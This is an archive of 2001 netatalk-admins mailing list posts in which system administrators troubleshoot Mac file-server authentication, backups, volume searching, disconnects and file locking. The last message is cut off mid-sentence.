X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.4.2-SGI_XFS_1.0 i686)
X-Accept-Language: en
MIME-Version: 1.0
To: netatalk-admins@umich.edu
Subject: Re: Reality check on authentication notes
References: <B78C5611.F2CB%Thomas.Kaiser@phg-online.de>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Thomas Kaiser wrote:
> 
> on Tue, 31 Jul 2001 11:02:56 +0200, Harald Wagener wrote:
> 
> > You have to configure pam to use the ldap auth module for netatalk, and use
> > uams_cleartext.so as uam, since pam passes the password to the ldap server
> > and needs it in clear text for this.
> 
> What about uams_dhx_pam.c?
> 
> <http://cvs.sourceforge.net/cgi-bin/viewcvs.cgi/netatalk/netatalk/etc/uams/>

Seems I haven't seen it before, must check on it. Will report on success/failure.

Greetings,
	Harald


> Regards,
> 
> Thomas

-- 
Harald Wagener      |                                Systemadministrator 
FCB/Wilkens GmbH    |                              Tel.:+49-40-2881-1252 
An der Alster 42    |                              Fax.:+49-40-2881-1263 
20099 Hamburg       |                         http://www.fcb-wilkens.com

From netatalk.administrators-errors@umich.edu  Wed Aug  1 04:52:55 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id EAA06872
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 1 Aug 2001 04:52:55 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id EAA13482
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 1 Aug 2001 04:52:55 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id EAA13463
	for netatalk.administrators-members@umich.edu; Wed, 1 Aug 2001 04:52:54 -0400 (EDT)
Received: from hammail1.truenorth.com (h-213.61.138.102.host.de.colt.net [213.61.138.102])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id EAA13412
	for <netatalk-admins@umich.edu>; Wed, 1 Aug 2001 04:52:53 -0400 (EDT)
Received: from fcb-wilkens.com ([170.200.66.15]) by
          hammail1.truenorth.com (Netscape Messaging Server 4.15) with
          ESMTP id GHDSO300.VBW for <netatalk-admins@umich.edu>; Wed, 1
          Aug 2001 10:52:51 +0200 
Sender: hollow@kingcreole.mr.itd.umich.edu
Message-ID: <3B67C363.D4D42A5B@fcb-wilkens.com>
Date: Wed, 01 Aug 2001 10:52:51 +0200
From: Harald Wagener <hwagener@fcb-wilkens.com>
Organization: FCB Wilkens
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.4.2-SGI_XFS_1.0 i686)
X-Accept-Language: en
MIME-Version: 1.0
CC: netatalk-admins@umich.edu
Subject: Re: Backup Software Question
References: <a05100300b78aea8f710d@[192.168.0.33]> <p0431010eb78b791e1ad1@[192.168.2.2]> <28487.996527747@deepeddy.com> <3B667086.642BCCA7@fcb-wilkens.com> <3765.996589394@deepeddy.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Chris Garrigues wrote:
> 
> > From:  Harald Wagener <hwagener@fcb-wilkens.com>
> > Date:  Tue, 31 Jul 2001 10:47:02 +0200
> >
> > Chris Garrigues wrote:
> > >
> > > > From:  Christian Schmidt <ChriSchmiLi@gmx.de>
> > > > Date:  Mon, 30 Jul 2001 22:52:13 +0200
> >
> > [snip]
> > > > Well, a backup stored on a HD isn't a real backup IMHO, is it?
> > > > What if your backup-HD crashes?
> > > (by the way, I fon't think I wrote this, but the argument still holds true).
> > > what if your tape becomes unreadable?
> >
> > well, too bad, I hope You check Your backups regularly for consitstence and
> > functionality.
> 
> I do.  This is easy to do on the RAID array where they live.
> 
> > > How is a backup on a hard disk not a backup?
> >
> > It's not a _real_ backup. It's a redundant storage with identical points of
> > failure. Since hard discs are random access media, they can also be randomly
> > deleted. This is harder with tapes that are handled properly, i.e. stored in a
> > fire proof water sealed safe off site.
> 
> It's also harder to do when it's on an off-site RAID array to which the users
> only have read access.  I wouldn't consider it as having identical points of
> failure since it's on a different hard drive using RAID technology instead of
> single drive technology on a different computer system on a different (but
> also secured) network in a different building on a different power grid.

If You take systems safety as I learned it (I might be wrong, anyway), the
differences between a
hard disk and a RAID array can easily be seen if You draw a fault tree: the points
of failure are the same,
but in the RAID array failure of one disk is 'not critical'.
most important here is that there is a different network and a different power
grid.
Just to be nitpicking: The power grid is also served by another power
company/power plant?
I assume You have an UPS at hand, so this would weaken the criticality of this
point as well.


But this is entirely different than the scenario someone offered, where You have a
machine in hot standby that simply gets a copy of the original machine's hard disk
each night.


> > Secured tapes, even if they are stored in the same room as the machine being
> > backed up, are also less affected by power surges or other electrical
> > instabilities (as long as the sparks don't fly...).
> >
> > It is also easier to replace the read/write mechanism (i.e., the drive) when using
> > a tape backup solution than it is with a hard disk.
> 
> Easier than replacing one hot-pluggable drive in a RAID array?

a hot pluggable drive in a RAID array is not the typical hard disk on a hot stand
by machine
(i.e. not everybody can afford a RAID system, even a second one just for the
prupose of backup systems).

> 
> > So, if You take care of Your backups, there is a significant decrease in Your
> > chances of losing data. Nothing of this is foolproof, nonetheless.
> 
> This is certainly true, but it doesn't have anything to do with whether the
> media is tape or disk.

By the way, it does. It depends on the MTBF of the media used. In Germany for
example, You need to store
financial data that has been digitally produced for ten years for the tax
collectors to check if You did everything right. 
print copies won't suffice from 2002 on. How many disks You use are older than 8
years? 12 years? 

Long term storage of magnetic tapes is a field well researched. Not even CDs come
close, if You remember the press about certain
fungi destroying cd's (in extreme weather conditions, they say today). It's also
true that it is often difficult to get tape readers that read tapes used ten years
ago (Your university might have one, but it probably won't work anymore).

Well, I think we can agree that if the storage used is significantly different
(the difference vector 
containing factors such as physical distance), the chances that Your backup
solution will help You
in disaster recovery will rise as significantly.

> I just like not having to change tapes every day.

That's the reason why automated libraries exist.

>  I also like my users being
> able to restore their files through a web interface that I wrote.

And we would like our users not to delete their files in the first place (-: .
This cannot be technically prevented on the working set

As has been said before, different solutions serve different needs of different
people.

I am quite confident that Your solution works sweet for You. And I don't see my
point
being attacked by Yours. Your solution is an alternative to mine and covers the
most important
points needed to have a backup rather than a copy. If You want to discuss this
topic further, 
I suggest we do it off list since we are pretty much off topic right now.

Regards,
	Harald
 
> Chris
> 
> --
> Chris Garrigues                 http://www.DeepEddy.Com/~cwg/
> virCIO                          http://www.virCIO.Com
> 4314 Avenue C
> Austin, TX  78751-3709          +1 512 374 0500
> 
>   My email address is an experiment in SPAM elimination.  For an
>   explanation of what we're doing, see http://www.DeepEddy.Com/tms.html
> 
>     Nobody ever got fired for buying Microsoft,
>       but they could get fired for relying on Microsoft.
> 
>   ----------------------------------------------------------------------------------
>    Part 1.2Type: application/pgp-signature

-- 
Harald Wagener      |                                Systemadministrator 
FCB/Wilkens GmbH    |                              Tel.:+49-40-2881-1252 
An der Alster 42    |                              Fax.:+49-40-2881-1263 
20099 Hamburg       |                         http://www.fcb-wilkens.com

From netatalk.administrators-errors@umich.edu  Wed Aug  1 05:00:31 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id FAA07053
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 1 Aug 2001 05:00:31 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id FAA11779
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 1 Aug 2001 05:00:17 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id FAA11764
	for netatalk.administrators-members@umich.edu; Wed, 1 Aug 2001 05:00:16 -0400 (EDT)
Received: from hammail1.truenorth.com (h-213.61.138.102.host.de.colt.net [213.61.138.102])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id FAA11716
	for <netatalk-admins@umich.edu>; Wed, 1 Aug 2001 05:00:15 -0400 (EDT)
Received: from fcb-wilkens.com ([170.200.66.15]) by
          hammail1.truenorth.com (Netscape Messaging Server 4.15) with
          ESMTP id GHDT0R00.VBX for <netatalk-admins@umich.edu>; Wed, 1
          Aug 2001 11:00:27 +0200 
Sender: hollow@funinacapulco.mr.itd.umich.edu
Message-ID: <3B67C52B.D77991A2@fcb-wilkens.com>
Date: Wed, 01 Aug 2001 11:00:27 +0200
From: Harald Wagener <hwagener@fcb-wilkens.com>
Organization: FCB Wilkens
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.4.2-SGI_XFS_1.0 i686)
X-Accept-Language: en
MIME-Version: 1.0
To: netatalk-admins@umich.edu
Subject: Re: netatalk search volume
References: <B78D743D.F376%Thomas.Kaiser@phg-online.de>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Thomas Kaiser wrote:
> 
> On Tue, 31 Jul 2001 19:01:00 -0700 (PDT), Jeff Masud wrote:
> 
> > I'm having a couple of issues with our netatalk server, maybe someone can
> > give ideas.
> 
> Please supply Netatalk version and the os you use.
> 
> > 1. We are unable to search a 100GB volume, it gos and goes and goes... for
> > about 5 mins and the returns an error.  Is there any way to index the
> > server like how Watson index the local drive for faster searching?

[snip]
> 
> AFAIK, Netatalk doesn't support FPCatSearch at the moment, so your clients
> finder have to run through the whole volume on its own, to search for files
> matching your search criteria.
> 

A workaround is not to search the entire volume, but only a subfolder.
If Your data is sufficiently organized, this might be an option.

Regards,
	Harald

-- 
Harald Wagener      |                                Systemadministrator 
FCB/Wilkens GmbH    |                              Tel.:+49-40-2881-1252 
An der Alster 42    |                              Fax.:+49-40-2881-1263 
20099 Hamburg       |                         http://www.fcb-wilkens.com

From netatalk.administrators-errors@umich.edu  Wed Aug  1 07:09:16 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id HAA09517
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 1 Aug 2001 07:09:16 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id HAA10866
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 1 Aug 2001 07:09:16 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id HAA10849
	for netatalk.administrators-members@umich.edu; Wed, 1 Aug 2001 07:09:15 -0400 (EDT)
Received: from mail.euc.de (mail.euc.de [195.63.193.18])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id HAA10797
	for <netatalk-admins@umich.edu>; Wed, 1 Aug 2001 07:09:13 -0400 (EDT)
Received: from euc.de (euc-punktum.euc.de [195.63.193.116])
	by mail.euc.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with ESMTP id NAA09768;
	Wed, 1 Aug 2001 13:07:00 +0200
Message-ID: <3B67E2D5.C67C25E8@euc.de>
Date: Wed, 01 Aug 2001 13:06:54 +0200
From: Mac Conin <mconin@euc.de>
Organization: EUC Online Service GmbH
X-Mailer: Mozilla 4.7 (Macintosh; I; PPC)
X-Accept-Language: en
MIME-Version: 1.0
To: Keen srl <renato@keen.co.it>
CC: netatalk-admins@umich.edu
Subject: Re: disconnect from server
References: <004c01c11a61$b5d80e70$1501a8c0@RENATO>
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id HAA09517

Hmm,

first you should update to 1.56.

The programms, your clients are using are not the problem.



> Keen srl wrote:
> 
> Hi,
> i have a problem, using   RED HAT LINUX  KERNEL 2.2.14-5.0 A and
> NETATALK-1.4B2+ASUN 2.1.3-7. my clients (mac os 9.1) disconnect from
> the server many times during the day they use freehand, photoshop,
> xpress. Reading the mail archive i found many things about this
> problem, but nothing this year. Do someone can sudgest somethings that
> can resolve the problem?
> Please help me, the people in the office want to switch to Windows
> 2000. I'm trying to resist, but i risk all the day.
> 
> thank you in advance
> 
> Renato Pontefice

-- 
--schnippe-di-schnipp-- 

mit freundlichen grüssen

-----------------------------------------------------------
Mac Conin                        EUC Online Service GmbH
Geschäftsführer                  Taubengasse 9
mconin@euc.de                    D 50676 Koeln
http://www.euc.de                HRB Köln 32038
tel : +49-221-923 27 33          fax : +49-221-239 651
-----------------------------------------------------------

From netatalk.administrators-errors@umich.edu  Wed Aug  1 07:43:06 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id HAA10327
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 1 Aug 2001 07:43:06 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id HAA24580
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 1 Aug 2001 07:43:06 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id HAA24563
	for netatalk.administrators-members@umich.edu; Wed, 1 Aug 2001 07:43:05 -0400 (EDT)
Received: from users.phg-online.de (users.phg-online.de [195.238.236.6])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id HAA24489
	for <netatalk-admins@umich.edu>; Wed, 1 Aug 2001 07:43:03 -0400 (EDT)
Received: from [195.30.238.157] (powerbook-tk.kaiser.link-m.de [195.30.238.157])
	by users.phg-online.de (8.9.3/8.9.3) with ESMTP id NAA03026;
	Wed, 1 Aug 2001 13:59:16 +0200
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106
Date: Wed, 01 Aug 2001 13:45:12 +0200
Subject: Re: disconnect from server
From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
To: Keen srl <renato@keen.co.it>, <netatalk-admins@umich.edu>
Message-ID: <B78DB867.F3D9%Thomas.Kaiser@phg-online.de>
In-Reply-To: <004c01c11a61$b5d80e70$1501a8c0@RENATO>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

On Wed, 1 Aug 2001 10:12:29 +0200, Keen srl wrote:

> i have a problem, using   RED HAT LINUX  KERNEL 2.2.14-5.0 A and
> NETATALK-1.4B2+ASUN 2.1.3-7. my clients (mac os 9.1) disconnect from the
> server many times during the day they use freehand, photoshop, xpress.

One suggestion: 

- Are the afp connections to the netatalk server established via afp over
  tcp or appletalk? (look into the finders info window of a mounted volume)

- Are your macs configured to get their tcp/ip-configs from a dhcp server?

- If so: how long is one dhcp lease valid?

Maybe your clients were dropped from the server caused by reconfiguring the
macos' tcp/ip stack due to to small dhcp leases?

Regards,

Thomas


From netatalk.administrators-errors@umich.edu  Wed Aug  1 09:22:20 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id JAA15039
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 1 Aug 2001 09:22:19 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id JAA13579
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 1 Aug 2001 09:22:05 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA13552
	for netatalk.administrators-members@umich.edu; Wed, 1 Aug 2001 09:22:05 -0400 (EDT)
Received: from pobox.thezit.com ([206.135.44.121])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id JAA13488
	for <netatalk-admins@umich.edu>; Wed, 1 Aug 2001 09:22:03 -0400 (EDT)
From: jeff@sudjam.com
Received: from pobox.thezit.com (IDENT:jeff@pobox.thezit.com [206.135.44.120])
	by pobox.thezit.com (8.11.1/8.11.1) with ESMTP id f71CMCJ01584
	for <netatalk-admins@umich.edu>; Wed, 1 Aug 2001 05:22:16 -0700
Date: Wed, 1 Aug 2001 05:22:12 -0700 (PDT)
X-Sender: jeff@pobox.thezit.com
To: netatalk-admins@umich.edu
Subject: Re: netatalk search volume
In-Reply-To: <3B67C52B.D77991A2@fcb-wilkens.com>
Message-ID: <Pine.LNX.4.21.0108010519070.19951-100000@pobox.thezit.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

I was able to resolve my volume searching.  

I had a hunch that it could be file naming convention.  I wrote a shell
script to go through all 159,000 files and check if there was any
macintosh extended chars or control chars and correct the file names.

After running this script I was able to search the volume.  It was damn
slow with so many files, but a volume search did work properly.

Jeff

On Wed, 1 Aug 2001, Harald Wagener wrote:

> Thomas Kaiser wrote:
> > 
> > On Tue, 31 Jul 2001 19:01:00 -0700 (PDT), Jeff Masud wrote:
> > 
> > > I'm having a couple of issues with our netatalk server, maybe someone can
> > > give ideas.
> > 
> > Please supply Netatalk version and the os you use.
> > 
> > > 1. We are unable to search a 100GB volume, it gos and goes and goes... for
> > > about 5 mins and the returns an error.  Is there any way to index the
> > > server like how Watson index the local drive for faster searching?
> 
> [snip]
> > 
> > AFAIK, Netatalk doesn't support FPCatSearch at the moment, so your clients
> > finder have to run through the whole volume on its own, to search for files
> > matching your search criteria.
> > 
> 
> A workaround is not to search the entire volume, but only a subfolder.
> If Your data is sufficiently organized, this might be an option.
> 
> Regards,
> 	Harald
> 
> 


From netatalk.administrators-errors@umich.edu  Wed Aug  1 09:27:07 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id JAA15273
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 1 Aug 2001 09:27:07 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id JAA08534
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 1 Aug 2001 09:27:07 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA08510
	for netatalk.administrators-members@umich.edu; Wed, 1 Aug 2001 09:27:06 -0400 (EDT)
Received: from pobox.thezit.com ([206.135.44.121])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id JAA08469
	for <netatalk-admins@umich.edu>; Wed, 1 Aug 2001 09:27:05 -0400 (EDT)
From: jeff@sudjam.com
Received: from pobox.thezit.com (IDENT:jeff@pobox.thezit.com [206.135.44.120])
	by pobox.thezit.com (8.11.1/8.11.1) with ESMTP id f71CR4J01763
	for <netatalk-admins@umich.edu>; Wed, 1 Aug 2001 05:27:04 -0700
Date: Wed, 1 Aug 2001 05:27:04 -0700 (PDT)
X-Sender: jeff@pobox.thezit.com
To: netatalk-admins@umich.edu
Subject: Re: netatalk search volume
In-Reply-To: <B78D743D.F376%Thomas.Kaiser@phg-online.de>
Message-ID: <Pine.LNX.4.21.0108010522290.19951-100000@pobox.thezit.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

> > 2. When I go to use Retrospect to backup the file server remotely,
> > Retrospect 4.3 will index the server display a list but as it starts to
> > run will return an error "Too many files open (-43)".
> 
> Under which MacOS version are you running Retrospect? There are some issues
> with versions before MacOS 9.x and running out of file handles. Check it
> with the ListOpenFiles Utility: <http://www.alsoft.com/AskAl/download.html>
> 
> I don't know if it has something to do with the way, RetroSpect tries to
> check what to backup. With Helios EtherShare you can support a switch
> "nofakeoffspring" when trying to backup from a Mac. This prevents RetroSpect
> from giving up before backupping when your volume is full of folders.
> 
> There were some problems reported on volumes with a lot of files with custom
> icons.

I'm running Retrospect 4.3 on OS 9.1, it's a clean install with only
Retrospect on the machine.  I noticed something odd about this issue.  If
I unmount the file server and remount.

1. run retrospect do backup
2. out of 3 test it backed up 1014, 1017 and 1011 files then gives "too
many files open" error
3. run backup again
4. immediately gives "too many files open"
5. quit retrospect
6. unmount netatalk volume
7. remount netatalk volume
8. rerun retrospect and backup
9. backs up 1017 file and gives too many files error.  

So to me it looks like it's not completely a OS 9x issue it has something
to do with the netatalk volume that is mounted on the desktop.

> > The server is running a RAID but it's really import we can do DLT backups to
> > archive old projects.
> 
> ... and maybe to backup recent projects too? ;-)

Yeeees that would be nice too.  

Jeff


From netatalk.administrators-errors@umich.edu  Wed Aug  1 09:32:29 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id JAA15825
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 1 Aug 2001 09:32:29 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id JAA27700
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 1 Aug 2001 09:32:29 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA27646
	for netatalk.administrators-members@umich.edu; Wed, 1 Aug 2001 09:32:28 -0400 (EDT)
Received: from users.phg-online.de (users.phg-online.de [195.238.236.6])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id JAA27588
	for <netatalk-admins@umich.edu>; Wed, 1 Aug 2001 09:32:26 -0400 (EDT)
Received: from [195.30.238.157] (powerbook-tk.kaiser.link-m.de [195.30.238.157])
	by users.phg-online.de (8.9.3/8.9.3) with ESMTP id PAA22056;
	Wed, 1 Aug 2001 15:48:43 +0200
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106
Date: Wed, 01 Aug 2001 15:34:38 +0200
Subject: Re: netatalk search volume
From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
To: <jeff@sudjam.com>, <netatalk-admins@umich.edu>
Message-ID: <B78DD20D.F3F3%Thomas.Kaiser@phg-online.de>
In-Reply-To: <Pine.LNX.4.21.0108010519070.19951-100000@pobox.thezit.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

On Wed, 1 Aug 2001 05:22:12 -0700 (PDT), jeff@sudjam.com wrote:

> I had a hunch that it could be file naming convention.

You know that with MacRoman encoding there exists only one illegal char in a
filename suitable for afp?

It's the colon ":"

Maybe your encoding table setup (code pages) is wrong?

But I found that Netatalk treats ASCII 127 different than EtherShare (to
which it behaves normally absolutely identical comparing the filename's
encoding on the server)

Regards,

Thomas


From netatalk.administrators-errors@umich.edu  Wed Aug  1 09:41:02 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id JAA16556
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 1 Aug 2001 09:41:02 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id JAA15734
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 1 Aug 2001 09:41:02 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA15703
	for netatalk.administrators-members@umich.edu; Wed, 1 Aug 2001 09:41:01 -0400 (EDT)
Received: from pobox.thezit.com ([206.135.44.121])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id JAA15629
	for <netatalk-admins@umich.edu>; Wed, 1 Aug 2001 09:41:00 -0400 (EDT)
From: jeff@sudjam.com
Received: from pobox.thezit.com (IDENT:jeff@pobox.thezit.com [206.135.44.120])
	by pobox.thezit.com (8.11.1/8.11.1) with ESMTP id f71CexJ02223
	for <netatalk-admins@umich.edu>; Wed, 1 Aug 2001 05:40:59 -0700
Date: Wed, 1 Aug 2001 05:40:59 -0700 (PDT)
X-Sender: jeff@pobox.thezit.com
To: netatalk-admins@umich.edu
Subject: Re: netatalk search volume
In-Reply-To: <B78DD20D.F3F3%Thomas.Kaiser@phg-online.de>
Message-ID: <Pine.LNX.4.21.0108010539300.19951-100000@pobox.thezit.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

Yeah you are probably right.  I did remove any string in a filename that
had ":hh" a colin with two hex characters afterwards. -j 

On Wed, 1 Aug 2001, Thomas Kaiser wrote:

> On Wed, 1 Aug 2001 05:22:12 -0700 (PDT), jeff@sudjam.com wrote:
> 
> > I had a hunch that it could be file naming convention.
> 
> You know that with MacRoman encoding there exists only one illegal char in a
> filename suitable for afp?
> 
> It's the colon ":"
> 
> Maybe your encoding table setup (code pages) is wrong?
> 
> But I found that Netatalk treats ASCII 127 different than EtherShare (to
> which it behaves normally absolutely identical comparing the filename's
> encoding on the server)
> 
> Regards,
> 
> Thomas
> 


From netatalk.administrators-errors@umich.edu  Wed Aug  1 09:43:06 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id JAA16711
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 1 Aug 2001 09:43:06 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id JAA22068
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 1 Aug 2001 09:42:52 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA22048
	for netatalk.administrators-members@umich.edu; Wed, 1 Aug 2001 09:42:51 -0400 (EDT)
Received: from pobox.thezit.com ([206.135.44.121])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id JAA22001
	for <netatalk-admins@umich.edu>; Wed, 1 Aug 2001 09:42:50 -0400 (EDT)
Received: from pobox.thezit.com (IDENT:jeff@pobox.thezit.com [206.135.44.120])
	by pobox.thezit.com (8.11.1/8.11.1) with ESMTP id f71Ch3J02276
	for <netatalk-admins@umich.edu>; Wed, 1 Aug 2001 05:43:03 -0700
Date: Wed, 1 Aug 2001 05:43:03 -0700 (PDT)
From: Jeff Masud <jeff@sudjam.com>
X-Sender: jeff@pobox.thezit.com
To: netatalk-admins@umich.edu
Subject: quark file locking
Message-ID: <Pine.LNX.4.21.0108010540590.19951-100000@pobox.thezit.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

Another question, I've been having an issue that users with Quark and
Adobe Indesign have been experiencing "File is locked" when they try to
save a file that they opened from the server, modified and hit save.

I went through and changed some permissions around and half the users are
working and the other half are still getting this file locked
scenario.  Any suggestions?

thanks
Jeff


From netatalk.administrators-errors@umich.edu  Wed Aug  1 09:45:51 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id JAA16957
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 1 Aug 2001 09:45:50 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id JAA27042
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 1 Aug 2001 09:45:36 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA27015
	for netatalk.administrators-members@umich.edu; Wed, 1 Aug 2001 09:45:36 -0400 (EDT)
Received: from video1.avwashington.com (video1.avwashington.com [216.177.38.67])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id JAA26893
	for <netatalk-admins@umich.edu>; Wed, 1 Aug 2001 09:45:31 -0400 (EDT)
Received: from mail.avwashington.com (crow.avwashington.com [192.168.0.6])
	by video1.avwashington.com (8.9.1a/8.9.1) with SMTP id JAA08202
	for <netatalk-admins@umich.edu>; Wed, 1 Aug 2001 09:53:37 -0400
Date: Wed, 1 Aug 2001 09:40:26 -0400
From: Chip Mefford <cmefford@avwashington.com>
To: netatalk-admins@umich.edu
Subject: 1.5pre2, atalkd.conf doesn't seem to matter
Message-ID: <20010801094026.E2868@crow.avwashington.com>
References: <Pine.LNX.4.21.0108010519070.19951-100000@pobox.thezit.com> <B78DD20D.F3F3%Thomas.Kaiser@phg-online.de>
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
In-Reply-To: <B78DD20D.F3F3%Thomas.Kaiser@phg-online.de>; from Thomas.Kaiser@phg-online.de on Wed, Aug 01, 2001 at 09:34:38 -0400
X-Mailer: Balsa 1.1.1
Lines: 44

or so it seems. 

   I've upgraded from 1.4b2 to 1.5pre2 when I upgraded 
